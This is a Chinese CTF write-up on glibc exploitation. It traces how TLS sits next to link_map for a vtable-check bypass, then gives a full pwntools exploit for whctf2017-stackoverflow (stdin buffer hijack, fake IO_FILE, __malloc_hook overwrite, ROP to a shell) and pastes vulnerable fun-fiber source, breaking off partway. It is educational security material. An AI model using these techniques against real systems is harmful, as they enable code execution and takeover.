在看exp中tls的地址是如何拿到的。文中tls地址值,在调试过程中发现是libc中GOT[1]的内容,后知后觉其实是link_map的地址。这里可以肯定是tls的位置和link_map的位置是连续的。

关于如何寻找对第一次对fs的使用,终于一篇文章给我了思路 https://unix.stackexchange.com/questions/453749/what-sets-fs0x28-stack-canary

1
arch_prctl(ARCH_SET_FS, 0x7fc189ed0740) = 0

这是strace的调试的内容,即在对fs指定地址的时候,实际上是使用arch_prctl这个系统调用。上面文章中尽管讲的是stack_canary的东西,其实在这里是一样的,一个fs:[28h],一个是fs:[30h]而已。canary用的是stack_guard,这里用是pointer_guard,再提一句,这样来看,同一线程里面所有的canary应该都是相同。

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
...
} tcbhead_t;

所以这里和上文一样在arch_prctl系统调用这里下断。我们现在的问题就是在于libc中的link_maptls结构为什么是连续的。先来看第一次断在哪里,backtrace如下

1
2
3
4
5
6
#0  init_tls () at rtld.c:741
#1 0x00007ffff7fdaa86 in dl_main (phdr=<optimized out>, phnum=<optimized out>, user_entry=<optimized out>, auxv=<optimized out>) at rtld.c:1808
#2 0x00007ffff7fed3d8 in _dl_sysdep_start (start_argptr=start_argptr@entry=0x7fffffffe110, dl_main=dl_main@entry=0x7ffff7fd8439 <dl_main>) at ../elf/dl-sysdep.c:253
#3 0x00007ffff7fd8080 in _dl_start_final (arg=0x7fffffffe110) at rtld.c:415
#4 _dl_start (arg=0x7fffffffe110) at rtld.c:522
#5 0x00007ffff7fd7098 in _start () from /root/heap_libc_debug/lib/ld-2.28.so

init_tls里面

1
2
3
...
const char *lossage = TLS_INIT_TP (tcbp);
...

现在找到了第一次对fs的赋值的时候,但是并不知道tcbp值是从何而来。接着我们再寻找tcbp的值是从何而来。往前回溯。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void *tcbp = _dl_allocate_tls_storage ();

void *
_dl_allocate_tls_storage (void)
{
void *result;
size_t size = GL(dl_tls_static_size);
...
size_t alignment = GL(dl_tls_static_align);
void *allocated = malloc (size + alignment + sizeof (void *));
if (__glibc_unlikely (allocated == NULL))
return NULL;
...
void *aligned = (void *) roundup ((uintptr_t) allocated, alignment);
result = aligned + size - TLS_TCB_SIZE;

memset (result, '\0', TLS_TCB_SIZE);
...
result = allocate_dtv (result);
if (result == NULL)
free (allocated);
return result;
}

用的是malloc来获取地址,这里的malloc并不是堆管理那个指针,这里libc.so都还没映射,是一个临时用来管理申请内存的弱类型函数。跟进malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void * weak_function
malloc (size_t n)
{
if (alloc_end == 0)
{
/* Consume any unused space in the last page of our data segment. */
extern int _end attribute_hidden;
alloc_ptr = &_end;
alloc_end = (void *) 0 + (((alloc_ptr - (void *) 0)
+ GLRO(dl_pagesize) - 1)
& ~(GLRO(dl_pagesize) - 1));
}

...

if (alloc_ptr + n >= alloc_end || n >= -(uintptr_t) alloc_ptr)
{

caddr_t page;
size_t nup = (n + GLRO(dl_pagesize) - 1) & ~(GLRO(dl_pagesize) - 1);
if (__glibc_unlikely (nup == 0 && n != 0))
return NULL;
nup += GLRO(dl_pagesize);
page = __mmap (0, nup, PROT_READ|PROT_WRITE,
MAP_ANON|MAP_PRIVATE, -1, 0);
if (page == MAP_FAILED)
return NULL;
if (page != alloc_end)
alloc_ptr = page;
alloc_end = page + nup;
}

alloc_last_block = (void *) alloc_ptr;
alloc_ptr += n;
return alloc_last_block;
}

这里可以看到用来管理内存的是alloc_ptralloc_end这两个指针。有初始化和内存不足时的处理的另外两条处理分支,在分配tls结构的过程中,发现内存是足够分配的,所以是直接分配的。那么这里我们需要去寻找在分配tls结构以前是alloc_ptr可能的指向,因为这一段内存都是连续的,如果说我们能找到前面某个在这段内存的结构指向的话,那么是可以计算出tls的位置的。所以这里我们在malloc这里下断。尽量要往前面找。

如何确定是不是属于tls同一段内存上的,只需要确定alloc_end是不是一样的。最终断在一个alloc_end发生改变的malloc上。backtrace如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#0  malloc (n=1191) at dl-minimal.c:69
#1 0x00007ffff7fedbac in calloc (nmemb=nmemb@entry=1191, size=size@entry=1) at dl-minimal.c:103
#2 0x00007ffff7fe0b44 in _dl_new_object (realname=realname@entry=0x7ffff7ffed90 "./libc-2.28.so", libname=<optimized out>, libname@entry=0x7fffffffce20 "./libc-2.28.so", type=type@entry=1, loader=loader@entry=0x7ffff7ffe190, mode=mode@entry=67108864, nsid=nsid@entry=0) at dl-object.c:73
#3 0x00007ffff7fdc84b in _dl_map_object_from_fd (name=name@entry=0x7fffffffce20 "./libc-2.28.so", origname=origname@entry=0x0, fd=fd@entry=3, fbp=fbp@entry=0x7fffffffc8d0, realname=0x7ffff7ffed90 "./libc-2.28.so", loader=loader@entry=0x7ffff7ffe190, l_type=1, mode=67108864, stack_endp=0x7fffffffc8c0, nsid=0) at dl-load.c:1001
#4 0x00007ffff7fde557 in _dl_map_object (loader=0x7ffff7ffe190, name=0x7fffffffce20 "./libc-2.28.so", type=1, trace_mode=trace_mode@entry=0, mode=67108864, nsid=nsid@entry=0) at dl-load.c:2466
#5 0x00007ffff7fd7309 in map_doit (a=a@entry=0x7fffffffcdd0) at rtld.c:592
#6 0x00007ffff7fee15a in _dl_catch_exception (exception=exception@entry=0x7fffffffcd80, operate=operate@entry=0x7ffff7fd72dd <map_doit>, args=args@entry=0x7fffffffcdd0) at dl-error-skeleton.c:196
#7 0x00007ffff7fee1bf in _dl_catch_error (objname=objname@entry=0x7fffffffcdf8, errstring=errstring@entry=0x7fffffffcdf0, mallocedp=mallocedp@entry=0x7fffffffcdcf, operate=operate@entry=0x7ffff7fd72dd <map_doit>, args=args@entry=0x7fffffffcdd0) at dl-error-skeleton.c:215
#8 0x00007ffff7fd729b in do_preload (fname=fname@entry=0x7fffffffce20 "./libc-2.28.so", main_map=main_map@entry=0x7ffff7ffe190, where=where@entry=0x7ffff7ff4ee4 "LD_PRELOAD") at rtld.c:763
#9 0x00007ffff7fd8421 in handle_ld_preload (preloadlist=<optimized out>, main_map=main_map@entry=0x7ffff7ffe190) at rtld.c:861
#10 0x00007ffff7fda7af in dl_main (phdr=<optimized out>, phnum=<optimized out>, user_entry=<optimized out>, auxv=<optimized out>) at rtld.c:1625
#11 0x00007ffff7fed3d8 in _dl_sysdep_start (start_argptr=start_argptr@entry=0x7fffffffe110, dl_main=dl_main@entry=0x7ffff7fd8439 <dl_main>) at ../elf/dl-sysdep.c:253
#12 0x00007ffff7fd8080 in _dl_start_final (arg=0x7fffffffe110) at rtld.c:415
#13 _dl_start (arg=0x7fffffffe110) at rtld.c:522
#14 0x00007ffff7fd7098 in _start () from /root/heap_libc_debug/lib/ld-2.28.so

会发现刚好是tls所在段刚好用mmap分配的时候。那么这个返回的地址是否可以在某一处应用到呢?往前回溯你会发现这是这个地方申请的内存恰好是link_map的结构。且刚好是在读取libc.so的之前,从mmap得到的内存段分布也可以看出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* Allocate a `struct link_map' for a new object being loaded,
and enter it into the _dl_loaded list. */
struct link_map *
_dl_new_object (char *realname, const char *libname, int type,
struct link_map *loader, int mode, Lmid_t nsid)
{
size_t libname_len = strlen (libname) + 1;
struct link_map *new;
struct libname_list *newname;
#ifdef SHARED
/* We create the map for the executable before we know whether we have
auditing libraries and if yes, how many. Assume the worst. */
unsigned int naudit = GLRO(dl_naudit) ?: ((mode & __RTLD_OPENEXEC)
? DL_NNS : 0);
size_t audit_space = naudit * sizeof (new->l_audit[0]);
#else
# define audit_space 0
#endif

new = (struct link_map *) calloc (sizeof (*new) + audit_space
+ sizeof (struct link_map *)
+ sizeof (*newname) + libname_len, 1);

确实是如此,这个地址的指向是libc.so中的link_map的指针,到这里也解决了为什么link_map和tls在地址上是连续的,他们处于同一个mmap申请0x2000的内存中,并且是固定偏移。所以这里exp中泄露并不是tls的地址,而是link_map的地址,通过计算得到tls的地址。所以这里只要我们确定了libc里面GOT[1]的值,就可以确定tls的结构,至于是否存在其他的对于这段内存的引用,有兴趣的同学,可以接着分析接下来的几个malloc,到分配tls的结构,这中间还是存在一些malloc的过程的。

至此,我们如果能控制fs:[30]的内容,并且控制IO_accept_foreign_vtables的值,那么是完全可以绕过_IO_vtable_check,而且应该是一种更通用的方法。这里在2.27和2.28都是测试通过的。有兴趣的同学可以试试。

whctf2017-stackoverflow

point

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall input_data(char *input, int count)
{
unsigned int ret_value; // [rsp+14h] [rbp-Ch]

ret_value = read(0, input, count);
if ( (ret_value & 0x80000000) != 0 )
{
printf("Error!", input);
exit(0);
}
return ret_value;
}

读取的字符串的时候末尾没有置0,紧接后面的内容可以泄露,根据下面可以泄露栈上的数据。

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 leak_name_input()
{
char name[80]; // [rsp+0h] [rbp-70h]
unsigned __int64 v2; // [rsp+68h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("leave your name, bro:");
input_data(name, 0x50);
printf("worrier %s, now begin your challenge", name);
return __readfsqword(0x28u) ^ v2;
}

next point

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 main_func()
{
int size; // [rsp+8h] [rbp-18h]
int temp; // [rsp+Ch] [rbp-14h]
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("please input the size to trigger stackoverflow: ");
_isoc99_scanf("%d", &size);
IO_getc(stdin);
temp = size;
while ( size > 0x300000 )
{
puts("too much bytes to do stackoverflow.");
printf("please input the size to trigger stackoverflow: ");
_isoc99_scanf("%d", &size);
IO_getc(stdin);
}
ptr = malloc(0x28uLL);
global_ptr = (char *)malloc(size + 1);
if ( !global_ptr )
{
printf("Error!", &size);
exit(0);
}
printf("padding and ropchain: ", &size);
input_data(global_ptr, size);
global_ptr[temp] = 0;
return 0LL;
}

这个地方global_ptr[temp] = 0; temp值等于size,取得是第一次输入的size,并不是最后一次的size,所以这个地方是可以在大于0x300000的某一位置写\x00的。

思路

这个地方没有free并且写的地方偏移是比较大的。从堆上偏移往前写,去什么地方写00能改变程序的走向呢?堆上往前偏移,libc的内存上写,写一个00是为了写更多的数据,关键这个地方巧合的地方来了。

图片

可以看到在0x7f605741f900 的位置这个地方是_IO_2_1_stdin_+64即_IO_buf_end的位置。_IO_buf_base 的值为0x00007f605741f943,如果我把它最低位的字节置为,恰好会变成stdin中IO_buf_end的位置。这个时候扩大了缓冲区,再产生输入的时候,会从IO_buf_base的地方接受数据,即会覆盖_IO_buf_end的指向,进一步扩大输入缓冲。当我们的输入缓存边界足够大 的时候,这个时候可以考虑覆盖_malloc_hook的值,next malloc的时候,我们就可以控制的程序的走向。

再接着考虑什么时候会用到输入缓冲。我们程序中绝大部分都是直接read,都是直接的系统调用没有用到stdin结构里面的buf,但是这里scanf和IO_getc确实用到了流的结构,我思考过一个问题,这里在最开始用setvbuf把stdin输入缓冲置0了,为啥这里stdin的输入缓冲不是0,而是长度1呢?难道在fread读输入的是一字节一字节的不停的系统调用吗?当然不是,在freed,会直接循环直接调用read去读当前需要的数据量,直到读完到需求量位置。

那么这里scanf是否也和freed一样不回使用输入缓存呢,这里确实相反的,scanf却使用了一字节的输入缓存。其实仔细想想这样做也没什么问题,scanf本来就是1字节1字节处理的。IO_getc也一样同样是1字节。所以这道题的关键点在于

1
2
_isoc99_scanf("%d", &size);
IO_getc(stdin);

就这两个地方用到输入缓存的机制,在scanf后面接一个getc其实是很常见的事情,IO_getc是用来吃scanf最后一位没用到的字符比如'',所以这里我们的思路先对_IO_buf_base写00再,扩大输入缓冲,覆盖_IO_buf_end,最后写_malloc_hook,第一想法就是对_malloc_hook写one_gadget,但是这里one_gadget条件是满足不了的。这里有一个很好的思路,调用前面的input_name,造成栈溢出用rop。

这里的栈的结构你如果不调直接看的话也可以。覆盖是read的返回地址。如下图

全部思路如上,接着上exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from pwn_debug import *
from pwn import *

pdbg=pwn_debug("stackoverflow")
pdbg.context.terminal=['tmux', 'splitw', '-h']

#pdbg.local('/root/ctf/ctf-challenges/pwn/pwn_category-master/IO_FILE/arbitrary_read_write/whctf2017-stackoverflow/libc-2.24.so')
pdbg.local()
#pdbg.debug("2.24")
#pdbg.remote('127.0.0.1', 22)
#p=pdbg.run("local")
#p=pdbg.run("remote")
p=pdbg.run("local")
membp=pdbg.membp
#print type(pdbg.membp)
#print pdbg.hh
#print hex(membp.elf_base),hex(membp.libc_base)
elf=pdbg.elf
libc=ELF('/root/ctf/ctf-challenges/pwn/pwn_category-master/IO_FILE/arbitrary_read_write/whctf2017-stackoverflow/libc.so.6')
#a=IO_FILE_plus()
#print a
#a.show()
#print a._IO_read_base
#print pdbg.local_libc_path
#print libc


def malloc_one(size=0,data="",real_size=0,flag=False):
p.recvuntil("flow: ")
p.sendline(str(size))
if flag:
p.recvuntil("ckoverflow: ")
p.sendline(str(real_size))
p.recvuntil("ropchain:")
p.send(data)

def evil_write(data):
p.recvuntil("flow:")
p.send(data)

def flush_buff(size):
for i in range(0,size):
#p.recvuntil("padding and ropchain: ")
p.recvuntil("stackoverflow")
p.sendline('a')
def pwn():


#pdbg.bp([0x400a2f,0x400a45])
#raw_input()
p.recvuntil("bro:")
p.send("a"*8)
p.recvuntil("a"*8)
# _IO_default_setbuf = 0x7DD10
#libc_base=u64(p.recvuntil(", ")[:-2].ljust(8,'\x00'))-libc.symbols['_IO_default_setbuf']-66
#这里需要你自己去调,你才知道栈上后8字节是_IO_default_setbuf+66
libc_base=u64(p.recvuntil(", ")[:-2].ljust(8,'\x00'))-0x7DD10-66
log.info("leak libc address: %s"%hex(libc_base))
io_stdin=libc_base+libc.symbols['_IO_2_1_stdin_']
io_stdin_end=libc_base+libc.symbols['_IO_2_1_stdin_']+0xe0+0x10
malloc_hook=libc_base+libc.symbols['__malloc_hook']
log.info("_malloc_hook address: %s"%hex(malloc_hook))
rce=libc_base+0x3f4b6
evil_jmp=libc_base+0x5E492
log.info("one gadget address: %s"%hex(rce))

#pdbg.bp([0x4009dc,0x4008ff,0x40090e])
io_buf_base=io_stdin+7*8
io_buf_end=io_buf_base+8
log.info("stdin address: %s"%hex(libc_base+libc.symbols['_IO_2_1_stdin_']))
size=libc.symbols['_IO_2_1_stdin_']+7*8+0x200000-0x10
#malloc(0x200000),分配的堆内存块会紧贴着libc的base
#-0x1000因为还有chunk_head,不足0x1000分配0x1000
real_size=0x200000-0x1000
raw_input('bbb')
malloc_one(size,'123',real_size,True)
raw_input('aaa')
#pdbg.bp(0x4008ff)
#flush_buff(8)
#_IO_buf_base = malloc_hook+8
p.send(p64(malloc_hook+8))
# 原raycp师傅这里写的是flush_buff(8),可能会引起误解,其实只又刷新了7次即_IO_read_ptr+7
# 因为flush_buff 中的revcuntil 这里原来的内容为被注释的部分,会存在一个小竞争。所以这里改写了一下
flush_buff(7)

#lock_addr = 0x3c3770
#vtable = 0x3be400
#io_file_jumps=libc_base+libc.symbols['__GI__IO_file_jumps']
io_file_jumps=libc_base+0x3be400
binsh_addr=libc_base+next(libc.search("/bin/sh"))
system_addr=libc_base+libc.symbols['system']

#lock_addr=libc_base+libc.symbols['_IO_stdfile_0_lock']
lock_addr=libc_base+0x3c3770

#覆盖stdin的buf实际上是指向stdin结构上的,这里是不破坏原stdin的结构

fake_file=IO_FILE_plus()
fake_file._old_offset= 0xffffffffffffff00
fake_file._lock= lock_addr
fake_file._IO_buf_end=malloc_hook+8
fake_file.vtable=io_file_jumps
file_data=str(fake_file)

fake_file.show()
#计算需要填充的padding
payload=file_data[fake_file.offset('_IO_buf_end'):]
payload=payload.ljust(malloc_hook-io_buf_end,'\x00')
#最后覆盖_malloc_hook
#.text:0000000000400A23 lea rax, [rbp+name]
#.text:0000000000400A27 mov esi, 50h ; count
#.text:0000000000400A2C mov rdi, rax ; input
#.text:0000000000400A2F call input_data
payload+=p64(0x400a23)


#pdbg.bp(0x4008ff)
p.recvuntil(" trigger stackoverflow: ")
p.send(payload)

raw_input("get shell>")
#rop system('/bin/sh')
prdi_ret=0x0000000000400b43 #: pop rdi ; ret
payload='a'*0x10+p64(prdi_ret)+p64(binsh_addr)+p64( system_addr)
#trigger malloc
p.send(payload)

p.interactive() #get the shell

if __name__ == '__main__':
pwn()

安利一下raycp的pwn_debug,真的很方便,特别是不同libc的加载和io结构的构造上,你不用再去计算某一段对应的偏移。

fun-fiber

这是一道很有意思的题,是一个简单协程的实现方式,是我从看雪holling师傅发的文章里面看见的,第一次看见这种题,人生有很多第一次 :)

如果你对glibc里面协程实现方式不是很了解的话,需要去了解一下:

https://segmentfault.com/p/1210000009166339/read#2-1-_getcontext_u5B9E_u73B0

这篇文章讲的比较清楚,如果是第一次接触ucontext_t的话,这篇文章是不二之选。

要了解是ucontext_t基本结构和四个函数:

1
2
3
4
5
6
7
8
9
10
typedef struct ucontext
{
unsigned long int uc_flags;
struct ucontext *uc_link; //后继上下文
stack_t uc_stack; //用户自定义栈
mcontext_t uc_mcontext; //保存当前上下文,即各个寄存器的状态
__sigset_t uc_sigmask; //保存当前线程的信号屏蔽掩码

} ucontext_t;

1
2
3
4
5
6
7
8
int getcontext(ucontext_t *ucp); //将当前的寄存器状态放进ucp里面,相当于保存当前状态。

int setcontext(const ucontext_t *ucp); //从ucp取出状态恢复上下文。

void makecontext(ucontext_t *ucp, void (*func)(), int argc, ...); //设置已经初始过的ucp,改变其具指向的上下文

int swapcontext(ucontext_t *oucp, ucontext_t *ucp);//切换ucp保存的状态,并保存当前的状态到oucp

这里值得一提的是,ucontext_t->uc_link的用来保存后继的上下文。这点是怎么做到的可以去看看具体的swapcontext的汇编代码,这几个函数几乎都是用内联的汇编直接写的。它会劫持调用指定函数的ret来进行ucontext_t后继状态的切换。不过这道题没那么复杂。

这道题的难点都在于你对协程应用的了解,具体exp过程holling的文章已经写的很详细,在这里我只想记录一下我当时一些想法和心得。

协程很关键的地方在于状态的切换,比如现在执行的某个过程,到一定程度,你需要去暂停当前的状态,转而去执行另一项任务,就相当于cpu分配给执行程序的时间片一样。什么时候该切,在切的时候需要注意什么,这是我们需要关注的。

这道题就体现了单线程下的协程中临界区存在的问题。先把题目给的source贴一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ucontext.h>
#include <assert.h>
#include <unistd.h>

// CRC

static uint32_t crc32_tab[] = {
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2,
0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c,
0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423,
0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106,
0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d,
0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7,
0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa,
0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81,
0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84,
0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e,
0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55,
0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28,
0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f,
0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69,
0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc,
0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693,
0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d
};

uint32_t crc32(uint32_t crc, const unsigned char *buf, size_t size) {
const uint8_t *p;

p = buf;
crc = crc ^ ~0U;

while (size--) {
crc = crc32_tab[(crc ^ *p++) & 0xFF] ^ (crc >> 8);
}

return crc ^ ~0U;
}

// Fiber

static ucontext_t *g_fib;
static ucontext_t *g_active_fibs;
static ucontext_t *g_unactive_fibs;

void fiber_init() {
ucontext_t *fib = malloc(sizeof(ucontext_t));
getcontext(fib);
fib->uc_link = 0;
g_fib = fib;
g_active_fibs = fib;
}

void fiber_yield() {
ucontext_t *next = g_fib->uc_link;
if (next == NULL)
next = g_active_fibs;

if (next == g_fib)
return;

ucontext_t *current_context = g_fib; // g_fib
g_fib = next;
swapcontext(current_context, g_fib); //first g_active_fib swapcontent(g_fib,g_fib)
}

void __fiber_new(void (*f)()) {
f();
while (1)
fiber_yield();
}

void fiber_new(void (*func)()) {
ucontext_t *fib = malloc(sizeof(ucontext_t));
getcontext(fib); //init current status

fib->uc_stack.ss_sp = malloc(0x8000); // init customize stack
fib->uc_stack.ss_size = 0x8000;

makecontext(fib, (void*)__fiber_new, 1, func); //
printf("Starting Worker #%08x\n", (unsigned)fib);
fib->uc_link = g_active_fibs;
g_active_fibs = fib;
}

int fiber_toggle(ucontext_t *moving, ucontext_t **from, ucontext_t **to) {
ucontext_t *fib = *from;
ucontext_t *last = NULL;
while(fib != NULL && fib != moving) {
last = fib;
fib = fib->uc_link;
}
if(fib == NULL)
return 1;

if(last == NULL)
*from = fib->uc_link;
else
last->uc_link = moving->uc_link;//unlink

moving->uc_link = *to;//insert to other queue
*to = moving;
return 0;
}

int fiber_pause(void *id) {
return fiber_toggle(id, &g_active_fibs, &g_unactive_fibs);
}

int fiber_resume(void *id) {
return fiber_toggle(id, &g_unactive_fibs, &g_active_fibs);
}

// Lock free stack
struct node {
void *entry;
struct node* next;
};

struct node* job_stack;
struct node* result_stack;

void push(struct node **stack, void* e){
struct node* n = malloc(sizeof(struct node));
n->entry = e;
n->next = *stack;
*stack = n;
}

void* pop(struct node **stack) {
struct node *old_head, *new_head;
while(1) {
old_head = *stack;
if(old_head == NULL){
return NULL;//empty stack case
}
new_head = old_head->next;
/*
这里用了一个中间变量来判断临界区有效性,但是这里存在堆上内存空间的复用

第一次yield的时候,worker都会停在这里。不会继续执行下去

*/
fiber_yield();//exploit here
if(*stack == old_head) {
*stack = new_head;//if exploit properly, *stack can be setted to a dangling pointer
break;
}
}

void *result = old_head->entry;
free(old_head);
return result;
}

// App

struct job {
unsigned int id;
unsigned int len;
unsigned char *input;
unsigned int *result;
};

unsigned int job_id = 0;
unsigned int n_jobs = 0;
unsigned int n_workers = 0;
unsigned int n_results = 0;

void worker() {
while(1) {
printf("[Worker #%08x] Getting Job\n", (unsigned)g_fib);
struct job* job = pop(&job_stack);
if(job == NULL) {
printf("[Worker #%08x] Empty queue, sleeping\n", (unsigned)g_fib);
fiber_yield();
continue;
}
printf("[Worker #%08x] Got a job\n", (unsigned)g_fib);

*(job->result) = crc32(0, job->input, job->len);
n_jobs -= 1;
n_results += 1;
push(&result_stack, (void*)job);
}
}

int menu() {
printf("Menu: (stats: %d workers, %d jobs, %d results)\n", n_workers, n_jobs, n_results);
printf(" 1. Request CRC32 computation\n");
printf(" 2. Add a worker\n");
printf(" 3. Yield to workers\n");
printf(" 4. Toggle worker\n");
printf(" 5. Gather some results\n");
printf(" 6. Exit\n");
printf("> ");
int choice;
scanf("%d", &choice);
fgetc(stdin); // consume new line
return choice;
}

int main() {
unsigned int wid, size;
setbuf(stdout, 0);
fiber_init();
printf("=================================\n");
printf("=== CRC32 As A Service ==\n");
printf("=================================\n\n");

while(1) {
switch(menu()) {
case 1:
if(n_jobs < 10) {
printf("Size: ");
scanf("%d", &size);
fgetc(stdin); // consume new line
if(size > 0x100) {
printf("Error: input needs to be smaller than 0x100");
} else {
unsigned char *input = malloc(size);
printf("Contents:\n");
assert(size == fread(input, 1, size, stdin));

struct job *job = malloc(sizeof(struct job));
job->id = job_id;
job->len = size;
job->input = input;
job->result = malloc(sizeof(unsigned int));

push(&job_stack, job);
n_jobs += 1;

printf("Requested job. ID: #%08x\n", job_id++);
